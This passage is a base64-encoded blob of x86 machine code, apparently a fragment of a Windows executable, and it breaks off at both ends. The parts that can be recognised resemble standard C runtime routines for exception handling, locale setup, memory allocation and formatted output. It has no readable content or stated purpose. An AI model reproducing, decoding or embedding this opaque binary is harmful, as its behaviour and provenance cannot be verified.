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B0DWoCUlJQ6E0IAACDxBD/tUDl///o4/3//1mFwA+EGAMAAIuFMOX//4sEhQBJARD2RAYEgA+EAAMAAOirzP//i0BsM8k5iKgAAACNhRzl//9Qi4Uw5f//D5TBiwSFAEkBEP80BomNQOX///8VFMEAEIXAD4TCAgAAOb1A5f//dAiE2w+EsgIAAP8VEMEAEIuVROX//yG9JOX//4vKiYUQ5f//iY005f//OX0QD4Z+AgAAM8CJhTjl///HhRjl//8KAAAAhNsPhY8BAACKCTPAgPkKD5TAiYVA5f//i4Uw5f//ixSFAEkBEIN8FjgAdBeKRBY0iEX0agKNRfSITfWDZBY4AFDrWg++wVDo1BcAAFmFwHREi4VE5f//i5U05f//K8IDRRCD+AEPhtMBAABqAlKNhTzl//9Q6IgkAACDxAyD+P8PhNsBAACLhTTl//9A/4U45f//6yZqAf+1NOX//42FPOX//1DoWSQAAIPEDIP4/w+ErAEAAIuFNOX//zPJUVFA/4U45f//agWJhTTl//+NRfRQagGNhTzl//9QUf+1EOX///8VwMAAEImFHOX//4XAD4RrAQAAagCNjSTl//9RUI1F9FCLhTDl//+LBIUASQEQ/zQG/xUswAAQhcAPhOsEAACLvTjl//+LhRzl//8DvSzl//85hSTl//8PjCEBAACDvUDl//8AD4TaAAAAagCNhSTl//9QagGNRfRQi4Uw5f//xkX0DYsEhQBJARD/NAb/FSzAABCFwA+EjwQAAIO9JOX//wEPjNYAAAD/hSzl//9H6ZAAAACA+wF0BYD7AnUzD7cBM9JmO4UY5f//iYU85f//i4U45f//D5TCg8ECg8ACiY005f//iYU45f//iZVA5f//gPsBdAWA+wJ1Vf+1POX//+gxIwAAWWY7hTzl//8PhRYEAACDxwKDvUDl//8AdCRqDVhQiYU85f//6AgjAABZZjuFPOX//w+F7QMAAEf/hSzl//+LhTjl//+LjTTl//87RRAPgsT9///rI4udMOX//4oCiwydAEkBEEeIRA40iwSdAEkBEMdEBjgBAAAAi7VA5f//6akDAACLtUDl///pqAMAAIuFMOX//4sEhQBJARD2RAYEgA+EVQMAAIuVROX//zP2ibU45f//hNsPheEAAACLwomFPOX//zl1EA+GkQMAADPJK8KLlTzl//+NnUjl//+JjUDl//87RRBzRIoKQkCIjSPl//+A+QqLjUDl//+JlTzl//91C/+FLOX//8YDDUNBipUj5f//iBOLlTzl//9DQYmNQOX//4H5/xMAAHK3i40U5f//jYVI5f//K9hqAI2FKOX//1BTjYVI5f//UIuFMOX//4sEhQBJARD/NAH/FSzAABCFwA+EuwIAAAO9KOX//4uVROX//zmdKOX//w+MsQIAAIuFPOX//yvCO0UQi4U85f//D4I1////6ZUCAACLyoD7Ag+F/gAAAImNQOX//zl1EA+GpwIAAMeFGOX//woAAACDpRzl//8Ai70s5f//i8ErwouVHOX//42dSOX//ztFEHM+D7cxg8ECg8ACiY1A5f//Zju1GOX//3UVag1ZZokLi41A5f//g8cCg8MCg8ICZokzg8ICg8MCgfr+EwAAcr2LjRTl//+NhUjl//8r2GoAjYUo5f//UFONhUjl//9Qi4Uw5f//ib0s5f//iwSFAEkBEP80Af8VLMAAEIu1OOX//4u9POX//4XAD4S0AQAAA70o5f//i5VE5f//ib085f//OZ0o5f//D4ykAQAAi41A5f//i8ErwjtFEA+CIP///+mMAQAAi10QiY0k5f//hdsPhKcBAADHhRjl//8KAAAAg6Uc5f//AIu1JOX//yvKi5Uc5f//jYVI+f//O8tzOw+3PoPGAoPBAom1JOX//2Y7vRjl//91EmoNXmaJMIu1JOX//4PAAoPCAmaJOIPCAoPAAoH6qAYAAHLBM/ZWVmhVDQAAjY3w6///UY2NSPn//yvBmSvC0fhQi8FQVmjp/QAA/xXAwAAQi7U45f//i7085f//iYU05f//hcAPhMIAAAAzyYmNQOX//2oAK8GNlSjl//9SUI2F8Ov//wPBi40U5f//UIuFMOX//4sEhQBJARD/NAH/FSzAABCFwHQei41A5f//A40o5f//i4U05f//iY1A5f//O8F/r+sa/xUcwAAQi41A5f//i/CLhTTl//+JtTjl//87wX9Ri40k5f//i5VE5f//i/kr+om9POX//zv7D4LI/v//6zdqAI2NKOX//1H/dRD/tUTl////NAb/FSzAABCFwHQKi70o5f//M/brCP8VHMAAEIvwi5VE5f//hf91Y4X2dCRqBVs783UU6L7C///HAAkAAADof8L//4kY6z9W6IjC//9Z6zaLhTDl//+LjRTl//+LBIUASQEQ9kQBBEB0CYA6GnUEM8DrIOh+wv//xwAcAAAA6D/C//+DIACDyP/rCCu9LOX//4vHXluLTfwzzV/o2Jf//8nDahhoSB4BEOjqtv//g87/iXXYiXXci30Ig//+dRjo/sH//4MgAOgqwv//xwAJAAAA6b0AAACF/w+InQAAADs91F0BEA+DkQAAAIvHwfgFiUXki9+D4x/B4waLBIUASQEQD75EGASD4AF0cFfoZxsAAFmDZfwAi0XkiwSFAEkBEPZEGAQBdBj/dRT/dRD/dQxX6GcAAACDxBCL8Iva6xXoscH//8cACQAAAOhywf//gyAAi96JddiJXdzHRfz+////6A0AAACL0+sri30Ii13ci3XYV+h4HAAAWcPoQcH//4MgAOhtwf//xwAJAAAA6OG9//+L1ovG6EC2///DVYvsUVFWi3UIV1bo3RsAAIPP/1k7x3UR6DvB///HAAkAAACLx4vX60T/dRSNTfhR/3UQ/3UMUP8VGMEAEIXAdQ//FRzAABBQ6OrA//9Z69OLxsH4BYPmH4sEhQBJARDB5gaAZDAE/YtF+ItV/F9eycNVi+z/BfhMARBWvgAQAABW6Nu0//9Zi00IiUEIhcB0CYNJDAiJcRjrEYNJDASNQRSJQQjHQRgCAAAAi0EIg2EEAIkBXl3DVYvsgeyAAgAAocAwARAzxYlF/ItNDFMzwFaLdQhXi30U/3UQiY3M/f//i9iNjYj9//+JtdT9//+Jvej9//+Jhaz9//+Jnez9//+Jhcj9//+JheD9//+JhdD9//+Jhbj9//+Jhbz9///oeL///+gvwP//iYWo/f//hfYPhJIKAAD2RgxAdWhW6D30//9Zi8iDyP++YDIBEDvIdB6D+f50GYvRg+Ifi8HB+AXB4gYDFIUASQEQg8j/6wKL1vZCJH8PhU0KAAA7yHQZg/n+dBSLwYPhH8H4BcHhBgMMhQBJARDrAovO9kEkgA+FJAoAAIuVzP3//4XSD4QWCgAAM8mLwYmN5P3//4mNxP3//4mNsP3//4oKiYXc/f//iI3z/f//iI20/f//hMkPhPcJAACLtZz9//9CiZXM/f//hcAPiMAJAACNQeA8WHcPD77BD7aAuAYBEIPgD+sCM8CLvcT9//9rwAkPtrw42AYBEIvHwegEib3E/f//i73o/f//iYXE/f//g/gID4SGCQAAg/gHD4dSCQAA/ySFRZgAEDPAg43g/f///4vYiYWg/f//iYW4/f//iYXI/f//iYXQ/f//iZ3s/f//iYW8/f//6RcJAAAPvsGD6CB0LoPoA3Qhg+gIdBdISHQOg+gDD4X4CAAAg8sI6xWDywTrEIPLAesLgcuAAAAA6wODywKJnez9///p0wgAAID5KnUviweDxwSJvej9//+Jhcj9//+FwA+JtQgAAIPLBPfYiZ3s/f//iYXI/f//6Z8IAACLhcj9//9rwAqJhcj9//8PvsGLjcj9//+DwdADyImNyP3//+l3CAAAM8CJheD9///paggAAID5KnUliweDxwSJvej9//+JheD9//+FwA+JTAgAAION4P3////pQAgAAIuV4P3//2vSCg++wYPC0APQiZXg/f//6R4IAACA+Ul0P4D5aHQygPlsdBSA+XcPhQwIAACBywAIAADpI////4A6bHUMQoHLABAAAOkS////g8sQ6Qr///+DyyDpAv///4oCPDZ1FIB6ATR1DoPCAoHLAIAAAOno/v//PDN1FIB6ATJ1DoPCAoHj/3///+nQ/v//PGQPhKYHAAA8aQ+EngcAADxvD4SWBwAAPHUPhI4HAAA8eA+EhgcAADxYD4R+BwAAM8CJhcT9///rAjPAiYW8/f//jYWI/f//UA+2wVDoEwwAAFlZhcB0OI2F3P3//1D/tdT9////tbT9///ovwcAAIuNzP3//4PEDIoBQYiFtP3//4mNzP3//4TAD4RJBwAAjYXc/f//UP+11P3///+1tP3//+iHBwAAg8QM6fgGAAAPvsGD+GQPj80BAAAPhFECAACD+FMPj+0AAAB0fIPoQXQQSEh0VkhIdAhISA+FGAUAAIDBIMeFoP3//wEAAACIjfP9//+LheD9//+Dy0C6AAIAAImd7P3//4219P3//4mVwP3//4XAD4kyAgAAx4Xg/f//BgAAAOmAAgAA98MwCAAAD4WeAAAAgcsACAAAiZ3s/f//6Y0AAAD3wzAIAAB1DIHLAAgAAImd7P3//4uV4P3//7n///9/g/r/dAKLyos3g8cEib3o/f//98MQCAAAD4RTBAAAhfZ1Bos15DABEMeFvP3//wEAAACLxoXJdA8z0klmORB0B4PAAoXJdfMrxtH46TwEAACD6FgPhLACAABISHRwg+gHD4Qn////SEgPhSQEAACDxwSJvej9///3wxAIAAB0MA+3R/xQaAACAACNhfT9//9QjYXk/f//UOjfCwAAg8QQhcB0H8eFuP3//wEAAADrE4pH/IiF9P3//8eF5P3//wEAAACNtfT9///pxQMAAIsHg8cEib3o/f//hcB0M4twBIX2dCwPvwD3wwAIAAB0FJkrwtH4x4W8/f//AQAAAOmKAwAAM8mJjbz9///pfQMAAIs14DABEFbo96H//1npawMAAIP4cA+P4wEAAA+EzwEAAIP4ZQ+MWQMAAIP4Zw+OS/7//4P4aXRkg/hudCWD+G8PhT0DAADHheT9//8IAAAAhNt5W4HLAAIAAImd7P3//+tNg8cEib3o/f//i3/86MIJAACFwA+E5wQAAIuF3P3///bDIHQFZokH6wKJB8eFuP3//wEAAADpegQAAIPLQImd7P3//8eF5P3//woAAAD3wwCAAAB1DPfDABAAAA+EjgEAAIsPg8cIib3o/f//i3/8M/bprgEAAHURgPlndVbHheD9//8BAAAA60o7wn4Ii8KJheD9//89owAAAH43jbhdAQAAV+jwrf//WYqN8/3//4mFsP3//4XAdAqL8Im9wP3//+sKx4Xg/f//owAAAIu96P3//4sHg8cIiYWA/f//i0f8iYWE/f//jYWI/f//UP+1oP3//w++wf+14P3//4m96P3//1D/tcD9//+NhYD9//9WUP81CDQBEP8VSMAAEP/Qi/uDxByB54AAAAB0IYO94P3//wB1GI2FiP3//1BW/zUUNAEQ/xVIwAAQ/9BZWYC98/3//2d1HIX/dRiNhYj9//9QVv81EDQBEP8VSMAAEP/QWVmAPi0PhSj+//+BywABAACJnez9//9G6Rb+///HheD9//8IAAAAagfrHIPocw+E3/z//0hID4SW/v//g+gDD4VrAQAAaidYiYWs/f//x4Xk/f//EAAAAITbD4l8/v//BFHGhdj9//8wiIXZ/f//x4XQ/f//AgAAAOle/v//g8cEM/aJvej9///2wyB0EfbDQHQGD79H/OsOD7dH/OsI9sNAdAqLR/yZi8iL+usFi0/8i/72w0B0HDv+fxh8BDvOcxL32RP+99+BywABAACJnez9///3wwCQAAB1Aov+i5Xg/f//hdJ5BTPSQusUg+P3uAACAACJnez9//870H4Ci9CLwQvHdQaJtdD9//+NdfOLwkqJleD9//+FwH8Gi8ELx3Q9i4Xk/f//mVJQV1HojQgAAIPBMImdnP3//4mFwP3//4v6g/k5fgYDjaz9//+LleD9//+IDouNwP3//07rsIud7P3//41F8yvGRomF5P3///fDAAIAAHQ2hcB0BYA+MHQtTv+F5P3//8YGMOshhfZ1Bos14DABEIvG6wdJgDgAdAVAhcl19SvGiYXk/f//g724/f//AA+FhgEAAPbDQHQ198MAAQAAdAnGhdj9//8t6xr2wwF0CcaF2P3//yvrDPbDAnQRxoXY/f//IMeF0P3//wEAAACLvcj9//8rveT9//+LhdD9//8r+PbDDHUejYXc/f//UP+11P3//1dqIOgGAgAAi4XQ/f//g8QQ/7Wo/f//jY3c/f//Uf+11P3//1CNhdj9//9Q6AkCAACDxBT2wwh0HfbDBHUYjYXc/f//UP+11P3//1dqMOi7AQAAg8QQg728/f//AIuF5P3//3R9hcB+eYvOSImFwP3//w+3AVBqBo1F9FCNhaT9//+DwQJQiY2c/f//6OsGAACDxBCFwHU/OYWk/f//dDf/taj9//+Nhdz9//9Q/7XU/f//jUX0/7Wk/